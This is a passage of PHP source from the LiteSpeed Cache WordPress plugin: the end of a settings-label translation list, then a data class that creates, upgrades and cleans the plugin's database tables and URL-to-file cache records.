			self::O_CACHE_MOBILE => __('Cache Mobile', 'litespeed-cache'),
			self::O_CACHE_MOBILE_RULES => __('List of Mobile User Agents', 'litespeed-cache'),
			self::O_CACHE_PRIV_URI => __('Private Cached URIs', 'litespeed-cache'),
			self::O_CACHE_DROP_QS => __('Drop Query String', 'litespeed-cache'),

			self::O_OBJECT => __('Object Cache', 'litespeed-cache'),
			self::O_OBJECT_KIND => __('Method', 'litespeed-cache'),
			self::O_OBJECT_HOST => __('Host', 'litespeed-cache'),
			self::O_OBJECT_PORT => __('Port', 'litespeed-cache'),
			self::O_OBJECT_LIFE => __('Default Object Lifetime', 'litespeed-cache'),
			self::O_OBJECT_USER => __('Username', 'litespeed-cache'),
			self::O_OBJECT_PSWD => __('Password', 'litespeed-cache'),
			self::O_OBJECT_DB_ID => __('Redis Database ID', 'litespeed-cache'),
			self::O_OBJECT_GLOBAL_GROUPS => __('Global Groups', 'litespeed-cache'),
			self::O_OBJECT_NON_PERSISTENT_GROUPS => __('Do Not Cache Groups', 'litespeed-cache'),
			self::O_OBJECT_PERSISTENT => __('Persistent Connection', 'litespeed-cache'),
			self::O_OBJECT_ADMIN => __('Cache WP-Admin', 'litespeed-cache'),
			self::O_OBJECT_TRANSIENTS => __('Store Transients', 'litespeed-cache'),

			self::O_PURGE_ON_UPGRADE => __('Purge All On Upgrade', 'litespeed-cache'),
			self::O_PURGE_STALE => __('Serve Stale', 'litespeed-cache'),
			self::O_PURGE_TIMED_URLS => __('Scheduled Purge URLs', 'litespeed-cache'),
			self::O_PURGE_TIMED_URLS_TIME => __('Scheduled Purge Time', 'litespeed-cache'),
			self::O_CACHE_FORCE_URI => __('Force Cache URIs', 'litespeed-cache'),
			self::O_CACHE_FORCE_PUB_URI => __('Force Public Cache URIs', 'litespeed-cache'),
			self::O_CACHE_EXC => __('Do Not Cache URIs', 'litespeed-cache'),
			self::O_CACHE_EXC_QS => __('Do Not Cache Query Strings', 'litespeed-cache'),
			self::O_CACHE_EXC_CAT => __('Do Not Cache Categories', 'litespeed-cache'),
			self::O_CACHE_EXC_TAG => __('Do Not Cache Tags', 'litespeed-cache'),
			self::O_CACHE_EXC_ROLES => __('Do Not Cache Roles', 'litespeed-cache'),
			self::O_OPTM_CSS_MIN => __('CSS Minify', 'litespeed-cache'),
			self::O_OPTM_CSS_COMB => __('CSS Combine', 'litespeed-cache'),
			self::O_OPTM_CSS_COMB_EXT_INL => __('CSS Combine External and Inline', 'litespeed-cache'),
			self::O_OPTM_UCSS => __('Generate UCSS', 'litespeed-cache'),
			self::O_OPTM_UCSS_INLINE => __('UCSS Inline', 'litespeed-cache'),
			self::O_OPTM_UCSS_SELECTOR_WHITELIST => __('UCSS Selector Allowlist', 'litespeed-cache'),
			self::O_OPTM_UCSS_FILE_EXC_INLINE => __('UCSS Inline Excluded Files', 'litespeed-cache'),
			self::O_OPTM_UCSS_EXC => __('UCSS URI Excludes', 'litespeed-cache'),
			self::O_OPTM_JS_MIN => __('JS Minify', 'litespeed-cache'),
			self::O_OPTM_JS_COMB => __('JS Combine', 'litespeed-cache'),
			self::O_OPTM_JS_COMB_EXT_INL => __('JS Combine External and Inline', 'litespeed-cache'),
			self::O_OPTM_HTML_MIN => __('HTML Minify', 'litespeed-cache'),
			self::O_OPTM_HTML_LAZY => __('HTML Lazy Load Selectors', 'litespeed-cache'),
			self::O_OPTM_HTML_SKIP_COMMENTS => __('HTML Keep Comments', 'litespeed-cache'),
			self::O_OPTM_CSS_ASYNC => __('Load CSS Asynchronously', 'litespeed-cache'),
			self::O_OPTM_CCSS_PER_URL => __('CCSS Per URL', 'litespeed-cache'),
			self::O_OPTM_CSS_ASYNC_INLINE => __('Inline CSS Async Lib', 'litespeed-cache'),
			self::O_OPTM_CSS_FONT_DISPLAY => __('Font Display Optimization', 'litespeed-cache'),
			self::O_OPTM_JS_DEFER => __('Load JS Deferred', 'litespeed-cache'),
			self::O_OPTM_LOCALIZE => __('Localize Resources', 'litespeed-cache'),
			self::O_OPTM_LOCALIZE_DOMAINS => __('Localization Files', 'litespeed-cache'),
			self::O_OPTM_DNS_PREFETCH => __('DNS Prefetch', 'litespeed-cache'),
			self::O_OPTM_DNS_PREFETCH_CTRL => __('DNS Prefetch Control', 'litespeed-cache'),
			self::O_OPTM_DNS_PRECONNECT => __('DNS Preconnect', 'litespeed-cache'),
			self::O_OPTM_CSS_EXC => __('CSS Excludes', 'litespeed-cache'),
			self::O_OPTM_JS_DELAY_INC => __('JS Delayed Includes', 'litespeed-cache'),
			self::O_OPTM_JS_EXC => __('JS Excludes', 'litespeed-cache'),
			self::O_OPTM_QS_RM => __('Remove Query Strings', 'litespeed-cache'),
			self::O_OPTM_GGFONTS_ASYNC => __('Load Google Fonts Asynchronously', 'litespeed-cache'),
			self::O_OPTM_GGFONTS_RM => __('Remove Google Fonts', 'litespeed-cache'),
			self::O_OPTM_CCSS_CON => __('Critical CSS Rules', 'litespeed-cache'),
			self::O_OPTM_CCSS_SEP_POSTTYPE => __('Separate CCSS Cache Post Types', 'litespeed-cache'),
			self::O_OPTM_CCSS_SEP_URI => __('Separate CCSS Cache URIs', 'litespeed-cache'),
			self::O_OPTM_CCSS_SELECTOR_WHITELIST => __('CCSS Selector Allowlist', 'litespeed-cache'),
			self::O_OPTM_JS_DEFER_EXC => __('JS Deferred / Delayed Excludes', 'litespeed-cache'),
			self::O_OPTM_GM_JS_EXC => __('Guest Mode JS Excludes', 'litespeed-cache'),
			self::O_OPTM_EMOJI_RM => __('Remove WordPress Emoji', 'litespeed-cache'),
			self::O_OPTM_NOSCRIPT_RM => __('Remove Noscript Tags', 'litespeed-cache'),
			self::O_OPTM_EXC => __('URI Excludes', 'litespeed-cache'),
			self::O_OPTM_GUEST_ONLY => __('Optimize for Guests Only', 'litespeed-cache'),
			self::O_OPTM_EXC_ROLES => __('Role Excludes', 'litespeed-cache'),

			self::O_DISCUSS_AVATAR_CACHE => __('Gravatar Cache', 'litespeed-cache'),
			self::O_DISCUSS_AVATAR_CRON => __('Gravatar Cache Cron', 'litespeed-cache'),
			self::O_DISCUSS_AVATAR_CACHE_TTL => __('Gravatar Cache TTL', 'litespeed-cache'),

			self::O_MEDIA_LAZY => __('Lazy Load Images', 'litespeed-cache'),
			self::O_MEDIA_LAZY_EXC => __('Lazy Load Image Excludes', 'litespeed-cache'),
			self::O_MEDIA_LAZY_CLS_EXC => __('Lazy Load Image Class Name Excludes', 'litespeed-cache'),
			self::O_MEDIA_LAZY_PARENT_CLS_EXC => __('Lazy Load Image Parent Class Name Excludes', 'litespeed-cache'),
			self::O_MEDIA_IFRAME_LAZY_CLS_EXC => __('Lazy Load Iframe Class Name Excludes', 'litespeed-cache'),
			self::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC => __('Lazy Load Iframe Parent Class Name Excludes', 'litespeed-cache'),
			self::O_MEDIA_LAZY_URI_EXC => __('Lazy Load URI Excludes', 'litespeed-cache'),
			self::O_MEDIA_LQIP_EXC => __('LQIP Excludes', 'litespeed-cache'),
			self::O_MEDIA_LAZY_PLACEHOLDER => __('Basic Image Placeholder', 'litespeed-cache'),
			self::O_MEDIA_PLACEHOLDER_RESP => __('Responsive Placeholder', 'litespeed-cache'),
			self::O_MEDIA_PLACEHOLDER_RESP_COLOR => __('Responsive Placeholder Color', 'litespeed-cache'),
			self::O_MEDIA_PLACEHOLDER_RESP_SVG => __('Responsive Placeholder SVG', 'litespeed-cache'),
			self::O_MEDIA_LQIP => __('LQIP Cloud Generator', 'litespeed-cache'),
			self::O_MEDIA_LQIP_QUAL => __('LQIP Quality', 'litespeed-cache'),
			self::O_MEDIA_LQIP_MIN_W => __('LQIP Minimum Dimensions', 'litespeed-cache'),
			// self::O_MEDIA_LQIP_MIN_H         => __( 'LQIP Minimum Height', 'litespeed-cache' ),
			self::O_MEDIA_PLACEHOLDER_RESP_ASYNC => __('Generate LQIP In Background', 'litespeed-cache'),
			self::O_MEDIA_IFRAME_LAZY => __('Lazy Load Iframes', 'litespeed-cache'),
			self::O_MEDIA_ADD_MISSING_SIZES => __('Add Missing Sizes', 'litespeed-cache'),
			self::O_MEDIA_VPI => __('Viewport Images', 'litespeed-cache'),
			self::O_MEDIA_VPI_CRON => __('Viewport Images Cron', 'litespeed-cache'),
			self::O_MEDIA_AUTO_RESCALE_ORI => __('Auto Rescale Original Images', 'litespeed-cache'),

			self::O_IMG_OPTM_AUTO => __('Auto Request Cron', 'litespeed-cache'),
			self::O_IMG_OPTM_ORI => __('Optimize Original Images', 'litespeed-cache'),
			self::O_IMG_OPTM_RM_BKUP => __('Remove Original Backups', 'litespeed-cache'),
			self::O_IMG_OPTM_WEBP => __('Next-Gen Image Format', 'litespeed-cache'),
			self::O_IMG_OPTM_LOSSLESS => __('Optimize Losslessly', 'litespeed-cache'),
			self::O_IMG_OPTM_SIZES_SKIPPED => __('Optimize Image Sizes', 'litespeed-cache'),
			self::O_IMG_OPTM_EXIF => __('Preserve EXIF/XMP data', 'litespeed-cache'),
			self::O_IMG_OPTM_WEBP_ATTR => __('WebP/AVIF Attribute To Replace', 'litespeed-cache'),
			self::O_IMG_OPTM_WEBP_REPLACE_SRCSET => __('WebP/AVIF For Extra srcset', 'litespeed-cache'),
			self::O_IMG_OPTM_JPG_QUALITY => __('WordPress Image Quality Control', 'litespeed-cache'),
			self::O_ESI => __('Enable ESI', 'litespeed-cache'),
			self::O_ESI_CACHE_ADMBAR => __('Cache Admin Bar', 'litespeed-cache'),
			self::O_ESI_CACHE_COMMFORM => __('Cache Comment Form', 'litespeed-cache'),
			self::O_ESI_NONCE => __('ESI Nonces', 'litespeed-cache'),
			self::O_CACHE_VARY_GROUP => __('Vary Group', 'litespeed-cache'),
			self::O_PURGE_HOOK_ALL => __('Purge All Hooks', 'litespeed-cache'),
			self::O_UTIL_NO_HTTPS_VARY => __('Improve HTTP/HTTPS Compatibility', 'litespeed-cache'),
			self::O_UTIL_INSTANT_CLICK => __('Instant Click', 'litespeed-cache'),
			self::O_CACHE_EXC_COOKIES => __('Do Not Cache Cookies', 'litespeed-cache'),
			self::O_CACHE_EXC_USERAGENTS => __('Do Not Cache User Agents', 'litespeed-cache'),
			self::O_CACHE_LOGIN_COOKIE => __('Login Cookie', 'litespeed-cache'),
			self::O_CACHE_VARY_COOKIES => __('Vary Cookies', 'litespeed-cache'),

			self::O_MISC_HEARTBEAT_FRONT => __('Frontend Heartbeat Control', 'litespeed-cache'),
			self::O_MISC_HEARTBEAT_FRONT_TTL => __('Frontend Heartbeat TTL', 'litespeed-cache'),
			self::O_MISC_HEARTBEAT_BACK => __('Backend Heartbeat Control', 'litespeed-cache'),
			self::O_MISC_HEARTBEAT_BACK_TTL => __('Backend Heartbeat TTL', 'litespeed-cache'),
			self::O_MISC_HEARTBEAT_EDITOR => __('Editor Heartbeat', 'litespeed-cache'),
			self::O_MISC_HEARTBEAT_EDITOR_TTL => __('Editor Heartbeat TTL', 'litespeed-cache'),

			self::O_CDN => __('Use CDN Mapping', 'litespeed-cache'),
			self::CDN_MAPPING_URL => __('CDN URL', 'litespeed-cache'),
			self::CDN_MAPPING_INC_IMG => __('Include Images', 'litespeed-cache'),
			self::CDN_MAPPING_INC_CSS => __('Include CSS', 'litespeed-cache'),
			self::CDN_MAPPING_INC_JS => __('Include JS', 'litespeed-cache'),
			self::CDN_MAPPING_FILETYPE => __('Include File Types', 'litespeed-cache'),
			self::O_CDN_ATTR => __('HTML Attribute To Replace', 'litespeed-cache'),
			self::O_CDN_ORI => __('Original URLs', 'litespeed-cache'),
			self::O_CDN_ORI_DIR => __('Included Directories', 'litespeed-cache'),
			self::O_CDN_EXC => __('Exclude Path', 'litespeed-cache'),
			self::O_CDN_CLOUDFLARE => __('Cloudflare API', 'litespeed-cache'),
			self::O_CDN_CLOUDFLARE_CLEAR => __('Clear Cloudflare cache', 'litespeed-cache'),

			self::O_CRAWLER => __('Crawler', 'litespeed-cache'),
			self::O_CRAWLER_CRAWL_INTERVAL => __('Crawl Interval', 'litespeed-cache'),
			self::O_CRAWLER_LOAD_LIMIT => __('Server Load Limit', 'litespeed-cache'),
			self::O_CRAWLER_ROLES => __('Role Simulation', 'litespeed-cache'),
			self::O_CRAWLER_COOKIES => __('Cookie Simulation', 'litespeed-cache'),
			self::O_CRAWLER_SITEMAP => __('Custom Sitemap', 'litespeed-cache'),

			self::O_DEBUG_DISABLE_ALL => __('Disable All Features', 'litespeed-cache'),
			self::O_DEBUG => __('Debug Log', 'litespeed-cache'),
			self::O_DEBUG_IPS => __('Admin IPs', 'litespeed-cache'),
			self::O_DEBUG_LEVEL => __('Debug Level', 'litespeed-cache'),
			self::O_DEBUG_FILESIZE => __('Log File Size Limit', 'litespeed-cache'),
			self::O_DEBUG_COLLAPSE_QS => __('Collapse Query Strings', 'litespeed-cache'),
			self::O_DEBUG_INC => __('Debug URI Includes', 'litespeed-cache'),
			self::O_DEBUG_EXC => __('Debug URI Excludes', 'litespeed-cache'),
			self::O_DEBUG_EXC_STRINGS => __('Debug String Excludes', 'litespeed-cache'),

			self::O_DB_OPTM_REVISIONS_MAX => __('Revisions Max Number', 'litespeed-cache'),
			self::O_DB_OPTM_REVISIONS_AGE => __('Revisions Max Age', 'litespeed-cache'),

			self::O_OPTIMAX => __('OptimaX', 'litespeed-cache'),
		);

		if (array_key_exists($id, $_lang_list)) {
			return $_lang_list[$id];
		}

		return 'N/A';
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/data.cls.php000064400000040766151031165260017275 0ustar00<?php
// phpcs:ignoreFile

/**
 * The class to store and manage litespeed db data.
 *
 * @since       1.3.1
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Data extends Root {

	const LOG_TAG = '🚀';

	private $_db_updater = array(
		'5.3-a5' => array( 'litespeed_update_5_3' ),
		'7.0-b26' => array( 'litespeed_update_7' ),
		'7.0.1-b1' => array( 'litespeed_update_7_0_1' ),
	);

	private $_db_site_updater = array(
		// Example
		// '2.0'    => array(
		// 'litespeed_update_site_2_0',
		// ),
	);

	private $_url_file_types = array(
		'css' => 1,
		'js' => 2,
		'ccss' => 3,
		'ucss' => 4,
	);

	const TB_IMG_OPTM          = 'litespeed_img_optm';
	const TB_IMG_OPTMING       = 'litespeed_img_optming'; // working table
	const TB_AVATAR            = 'litespeed_avatar';
	const TB_CRAWLER           = 'litespeed_crawler';
	const TB_CRAWLER_BLACKLIST = 'litespeed_crawler_blacklist';
	const TB_URL               = 'litespeed_url';
	const TB_URL_FILE          = 'litespeed_url_file';

	/**
	 * Init
	 *
	 * @since  1.3.1
	 */
	public function __construct() {
	}

	/**
	 * Correct table existence
	 *
	 * Call when activate -> update_confs()
	 * Call when update_confs()
	 *
	 * @since  3.0
	 * @access public
	 */
	public function correct_tb_existence() {
		// Gravatar
		if ($this->conf(Base::O_DISCUSS_AVATAR_CACHE)) {
			$this->tb_create('avatar');
		}

		// Crawler
		if ($this->conf(Base::O_CRAWLER)) {
			$this->tb_create('crawler');
			$this->tb_create('crawler_blacklist');
		}

		// URL mapping
		$this->tb_create('url');
		$this->tb_create('url_file');

		// Image optm is a bit different. Only trigger creation when sending requests. Drop when destroying.
	}

	/**
	 * Upgrade conf to latest format version from previous versions
	 *
	 * NOTE: Only for v3.0+
	 *
	 * @since 3.0
	 * @access public
	 */
	public function conf_upgrade( $ver ) {
		// Skip count check if `Use Primary Site Configurations` is on
		// Deprecated since v3.0 as network primary site didn't override the subsites conf yet
		// if ( ! is_main_site() && ! empty ( $this->_site_options[ self::NETWORK_O_USE_PRIMARY ] ) ) {
		// return;
		// }

		if ($this->_get_upgrade_lock()) {
			return;
		}

		$this->_set_upgrade_lock(true);

		require_once LSCWP_DIR . 'src/data.upgrade.func.php';

		// Init log manually
		if ($this->conf(Base::O_DEBUG)) {
			$this->cls('Debug2')->init();
		}

		foreach ($this->_db_updater as $k => $v) {
			if (version_compare($ver, $k, '<')) {
				// run each callback
				foreach ($v as $v2) {
					self::debug("Updating [ori_v] $ver \t[to] $k \t[func] $v2");
					call_user_func($v2);
				}
			}
		}

		// Reload options
		$this->cls('Conf')->load_options();

		$this->correct_tb_existence();

		// Update related files
		$this->cls('Activation')->update_files();

		// Update version to latest
		Conf::delete_option(Base::_VER);
		Conf::add_option(Base::_VER, Core::VER);

		self::debug('Updated version to ' . Core::VER);

		$this->_set_upgrade_lock(false);

		!defined('LSWCP_EMPTYCACHE') && define('LSWCP_EMPTYCACHE', true); // clear all sites caches
		Purge::purge_all();

		return 'upgrade';
	}

	/**
	 * Upgrade site conf to latest format version from previous versions
	 *
	 * NOTE: Only for v3.0+
	 *
	 * @since 3.0
	 * @access public
	 */
	public function conf_site_upgrade( $ver ) {
		if ($this->_get_upgrade_lock()) {
			return;
		}

		$this->_set_upgrade_lock(true);

		require_once LSCWP_DIR . 'src/data.upgrade.func.php';

		foreach ($this->_db_site_updater as $k => $v) {
			if (version_compare($ver, $k, '<')) {
				// run each callback
				foreach ($v as $v2) {
					self::debug("Updating site [ori_v] $ver \t[to] $k \t[func] $v2");
					call_user_func($v2);
				}
			}
		}

		// Reload options
		$this->cls('Conf')->load_site_options();

		Conf::delete_site_option(Base::_VER);
		Conf::add_site_option(Base::_VER, Core::VER);

		self::debug('Updated site_version to ' . Core::VER);

		$this->_set_upgrade_lock(false);

		!defined('LSWCP_EMPTYCACHE') && define('LSWCP_EMPTYCACHE', true); // clear all sites caches
		Purge::purge_all();
	}

	/**
	 * Check if upgrade script is running or not
	 *
	 * @since 3.0.1
	 */
	private function _get_upgrade_lock() {
		$is_upgrading = get_option('litespeed.data.upgrading');
		if (!$is_upgrading) {
			$this->_set_upgrade_lock(false); // set option value to existed to avoid repeated db query next time
		}
		if ($is_upgrading && time() - $is_upgrading < 3600) {
			return $is_upgrading;
		}

		return false;
	}

	/**
	 * Show the upgrading banner if upgrade script is running
	 *
	 * @since 3.0.1
	 */
	public function check_upgrading_msg() {
		$is_upgrading = $this->_get_upgrade_lock();
		if (!$is_upgrading) {
			return;
		}

		Admin_Display::info(
			sprintf(
				__('The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.', 'litespeed-cache'),
				'<code>' . Utility::readable_time($is_upgrading) . '</code>'
			) . ' [LiteSpeed]',
			true
		);
	}

	/**
	 * Set lock for upgrade process
	 *
	 * @since 3.0.1
	 */
	private function _set_upgrade_lock( $lock ) {
		if (!$lock) {
			update_option('litespeed.data.upgrading', -1);
		} else {
			update_option('litespeed.data.upgrading', time());
		}
	}

	/**
	 * Get the table name
	 *
	 * @since  3.0
	 * @access public
	 */
	public function tb( $tb ) {
		global $wpdb;

		switch ($tb) {
			case 'img_optm':
				return $wpdb->prefix . self::TB_IMG_OPTM;
				break;

			case 'img_optming':
				return $wpdb->prefix . self::TB_IMG_OPTMING;
				break;

			case 'avatar':
				return $wpdb->prefix . self::TB_AVATAR;
				break;

			case 'crawler':
				return $wpdb->prefix . self::TB_CRAWLER;
				break;

			case 'crawler_blacklist':
				return $wpdb->prefix . self::TB_CRAWLER_BLACKLIST;
				break;

			case 'url':
				return $wpdb->prefix . self::TB_URL;
				break;

			case 'url_file':
				return $wpdb->prefix . self::TB_URL_FILE;
				break;

			default:
				break;
		}
	}

	/**
	 * Check if one table exists or not
	 *
	 * @since  3.0
	 * @access public
	 */
	public function tb_exist( $tb ) {
		global $wpdb;

		$save_state = $wpdb->suppress_errors;
		$wpdb->suppress_errors(true);
		$describe = $wpdb->get_var('DESCRIBE `' . $this->tb($tb) . '`');
		$wpdb->suppress_errors($save_state);

		return $describe !== null;
	}

	/**
	 * Get data structure of one table
	 *
	 * @since  2.0
	 * @access private
	 */
	private function _tb_structure( $tb ) {
		return File::read(LSCWP_DIR . 'src/data_structure/' . $tb . '.sql');
	}

	/**
	 * Create img optm table and sync data from wp_postmeta
	 *
	 * @since  3.0
	 * @access public
	 */
	public function tb_create( $tb ) {
		global $wpdb;

		self::debug2('[Data] Checking table ' . $tb);

		// Check if table exists first
		if ($this->tb_exist($tb)) {
			self::debug2('[Data] Existed');
			return;
		}

		self::debug('Creating ' . $tb);

		$sql = sprintf(
			'CREATE TABLE IF NOT EXISTS `%1$s` (' . $this->_tb_structure($tb) . ') %2$s;',
			$this->tb($tb),
			$wpdb->get_charset_collate() // 'DEFAULT CHARSET=utf8'
		);

		$res = $wpdb->query($sql);
		if ($res !== true) {
			self::debug('Warning! Creating table failed!', $sql);
			Admin_Display::error(Error::msg('failed_tb_creation', array( '<code>' . $tb . '</code>', '<code>' . $sql . '</code>' )));
		}
	}

	/**
	 * Drop table
	 *
	 * @since  3.0
	 * @access public
	 */
	public function tb_del( $tb ) {
		global $wpdb;

		if (!$this->tb_exist($tb)) {
			return;
		}

		self::debug('Deleting table ' . $tb);

		$q = 'DROP TABLE IF EXISTS ' . $this->tb($tb);
		$wpdb->query($q);
	}

	/**
	 * Drop generated tables
	 *
	 * @since  3.0
	 * @access public
	 */
	public function tables_del() {
		$this->tb_del('avatar');
		$this->tb_del('crawler');
		$this->tb_del('crawler_blacklist');
		$this->tb_del('url');
		$this->tb_del('url_file');

		// Deleting img_optm only can be done when destroy all optm images
	}

	/**
	 * Keep table but clear all data
	 *
	 * @since  4.0
	 */
	public function table_truncate( $tb ) {
		global $wpdb;
		$q = 'TRUNCATE TABLE ' . $this->tb($tb);
		$wpdb->query($q);
	}

	/**
	 * Clean certain type of url_file
	 *
	 * @since  4.0
	 */
	public function url_file_clean( $file_type ) {
		global $wpdb;

		if (!$this->tb_exist('url_file')) {
			return;
		}

		$type = $this->_url_file_types[$file_type];
		$q    = 'DELETE FROM ' . $this->tb('url_file') . ' WHERE `type` = %d';
		$wpdb->query($wpdb->prepare($q, $type));

		// Added to cleanup url table. See issue: https://wordpress.org/support/topic/wp_litespeed_url-1-1-gb-in-db-huge-big/
		$wpdb->query(
			'DELETE d
			FROM `' .
				$this->tb('url') .
				'` AS d
			LEFT JOIN `' .
				$this->tb('url_file') .
				'` AS f ON d.`id` = f.`url_id`
			WHERE f.`url_id` IS NULL'
		);
	}

	/**
	 * Generate filename based on URL, if content md5 existed, reuse existing file.
	 *
	 * @since  4.0
	 */
	public function save_url( $request_url, $vary, $file_type, $filecon_md5, $path, $mobile = false, $webp = false ) {
		global $wpdb;

		if (strlen($vary) > 32) {
			$vary = md5($vary);
		}

		$type = $this->_url_file_types[$file_type];

		$tb_url      = $this->tb('url');
		$tb_url_file = $this->tb('url_file');
		$q           = "SELECT * FROM `$tb_url` WHERE url=%s";
		$url_row     = $wpdb->get_row($wpdb->prepare($q, $request_url), ARRAY_A);
		if (!$url_row) {
			$q = "INSERT INTO `$tb_url` SET url=%s";
			$wpdb->query($wpdb->prepare($q, $request_url));
			$url_id = $wpdb->insert_id;
		} else {
			$url_id = $url_row['id'];
		}

		$q        = "SELECT * FROM `$tb_url_file` WHERE url_id=%d AND vary=%s AND type=%d AND expired=0";
		$file_row = $wpdb->get_row($wpdb->prepare($q, array( $url_id, $vary, $type )), ARRAY_A);

		// Check if has previous file or not
		if ($file_row && $file_row['filename'] == $filecon_md5) {
			return;
		}

		// If the new $filecon_md5 is marked as expired by previous records, clear those records
		$q = "DELETE FROM `$tb_url_file` WHERE filename = %s AND expired > 0";
		$wpdb->query($wpdb->prepare($q, $filecon_md5));

		// Check if there is any other record used the same filename or not
		$q = "SELECT id FROM `$tb_url_file` WHERE filename = %s AND expired = 0 AND id != %d LIMIT 1";
		if ($file_row && $wpdb->get_var($wpdb->prepare($q, array( $file_row['filename'], $file_row['id'] )))) {
			$q = "UPDATE `$tb_url_file` SET filename=%s WHERE id=%d";
			$wpdb->query($wpdb->prepare($q, array( $filecon_md5, $file_row['id'] )));
			return;
		}

		// New record needed
		$q = "INSERT INTO `$tb_url_file` SET url_id=%d, vary=%s, filename=%s, type=%d, mobile=%d, webp=%d, expired=0";
		$wpdb->query($wpdb->prepare($q, array( $url_id, $vary, $filecon_md5, $type, $mobile ? 1 : 0, $webp ? 1 : 0 )));

		// Mark existing rows as expired
		if ($file_row) {
			$q       = "UPDATE `$tb_url_file` SET expired=%d WHERE id=%d";
			$expired = time() + 86400 * apply_filters('litespeed_url_file_expired_days', 20);
			$wpdb->query($wpdb->prepare($q, array( $expired, $file_row['id'] )));

			// Also check if has other files expired already to be deleted
			$q    = "SELECT * FROM `$tb_url_file` WHERE url_id = %d AND expired BETWEEN 1 AND %d";
			$q    = $wpdb->prepare($q, array( $url_id, time() ));
			$list = $wpdb->get_results($q, ARRAY_A);
			if ($list) {
				foreach ($list as $v) {
					$file_to_del = $path . '/' . $v['filename'] . '.' . ($file_type == 'js' ? 'js' : 'css');
					if (file_exists($file_to_del)) {
						// Safe to delete
						self::debug('Delete expired unused file: ' . $file_to_del);

						// Clear related lscache first to avoid cache copy of same URL w/ diff QS
						// Purge::add( Tag::TYPE_MIN . '.' . $file_row[ 'filename' ] . '.' . $file_type );

						unlink($file_to_del);
					}
				}
				$q = "DELETE FROM `$tb_url_file` WHERE url_id = %d AND expired BETWEEN 1 AND %d";
				$wpdb->query($wpdb->prepare($q, array( $url_id, time() )));
			}
		}

		// Purge this URL to avoid cache copy of same URL w/ diff QS
		// $this->cls( 'Purge' )->purge_url( Utility::make_relative( $request_url ) ?: '/', true, true );
	}

	/**
	 * Load CCSS related file
	 *
	 * @since  4.0
	 */
	public function load_url_file( $request_url, $vary, $file_type ) {
		global $wpdb;

		if (strlen($vary) > 32) {
			$vary = md5($vary);
		}

		$type = $this->_url_file_types[$file_type];

		self::debug2('load url file: ' . $request_url);

		$tb_url  = $this->tb('url');
		$q       = "SELECT * FROM `$tb_url` WHERE url=%s";
		$url_row = $wpdb->get_row($wpdb->prepare($q, $request_url), ARRAY_A);
		if (!$url_row) {
			return false;
		}

		$url_id = $url_row['id'];

		$tb_url_file = $this->tb('url_file');
		$q           = "SELECT * FROM `$tb_url_file` WHERE url_id=%d AND vary=%s AND type=%d AND expired=0";
		$file_row    = $wpdb->get_row($wpdb->prepare($q, array( $url_id, $vary, $type )), ARRAY_A);
		if (!$file_row) {
			return false;
		}

		return $file_row['filename'];
	}

	/**
	 * Mark all entries of one URL to expired
	 *
	 * @since 4.5
	 */
	public function mark_as_expired( $request_url, $auto_q = false ) {
		global $wpdb;
		$tb_url = $this->tb('url');

		self::debug('Try to mark as expired: ' . $request_url);
		$q       = "SELECT * FROM `$tb_url` WHERE url=%s";
		$url_row = $wpdb->get_row($wpdb->prepare($q, $request_url), ARRAY_A);
		if (!$url_row) {
			return;
		}

		self::debug('Mark url_id=' . $url_row['id'] . ' as expired');

		$tb_url_file = $this->tb('url_file');

		$existing_url_files = array();
		if ($auto_q) {
			$q                  = "SELECT a.*, b.url FROM `$tb_url_file` a LEFT JOIN `$tb_url` b ON b.id=a.url_id WHERE a.url_id=%d AND a.type=4 AND a.expired=0";
			$q                  = $wpdb->prepare($q, $url_row['id']);
			$existing_url_files = $wpdb->get_results($q, ARRAY_A);
		}
		$q       = "UPDATE `$tb_url_file` SET expired=%d WHERE url_id=%d AND type=4 AND expired=0";
		$expired = time() + 86400 * apply_filters('litespeed_url_file_expired_days', 20);
		$wpdb->query($wpdb->prepare($q, array( $expired, $url_row['id'] )));

		return $existing_url_files;
	}

	/**
	 * Get list from `data/css_excludes.txt`
	 *
	 * @since  3.6
	 */
	public function load_css_exc( $list ) {
		$data = $this->_load_per_line('css_excludes.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/ccss_whitelist.txt`
	 *
	 * @since  7.1
	 */
	public function load_ccss_whitelist( $list ) {
		$data = $this->_load_per_line('ccss_whitelist.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/ucss_whitelist.txt`
	 *
	 * @since  4.0
	 */
	public function load_ucss_whitelist( $list ) {
		$data = $this->_load_per_line('ucss_whitelist.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/js_excludes.txt`
	 *
	 * @since  3.5
	 */
	public function load_js_exc( $list ) {
		$data = $this->_load_per_line('js_excludes.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/js_defer_excludes.txt`
	 *
	 * @since  3.6
	 */
	public function load_js_defer_exc( $list ) {
		$data = $this->_load_per_line('js_defer_excludes.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/optm_uri_exc.txt`
	 *
	 * @since  5.4
	 */
	public function load_optm_uri_exc( $list ) {
		$data = $this->_load_per_line('optm_uri_exc.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/esi.nonces.txt`
	 *
	 * @since  3.5
	 */
	public function load_esi_nonces( $list ) {
		$data = $this->_load_per_line('esi.nonces.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Get list from `data/cache_nocacheable.txt`
	 *
	 * @since  6.3.0.1
	 */
	public function load_cache_nocacheable( $list ) {
		$data = $this->_load_per_line('cache_nocacheable.txt');
		if ($data) {
			$list = array_unique(array_filter(array_merge($list, $data)));
		}

		return $list;
	}

	/**
	 * Load file per line
	 *
	 * Support two kinds of comments:
	 *      1. `# this is comment`
	 *      2. `##this is comment`
	 *
	 * @since  3.5
	 */
	private function _load_per_line( $file ) {
		$data = File::read(LSCWP_DIR . 'data/' . $file);
		$data = explode(PHP_EOL, $data);
		$list = array();
		foreach ($data as $v) {
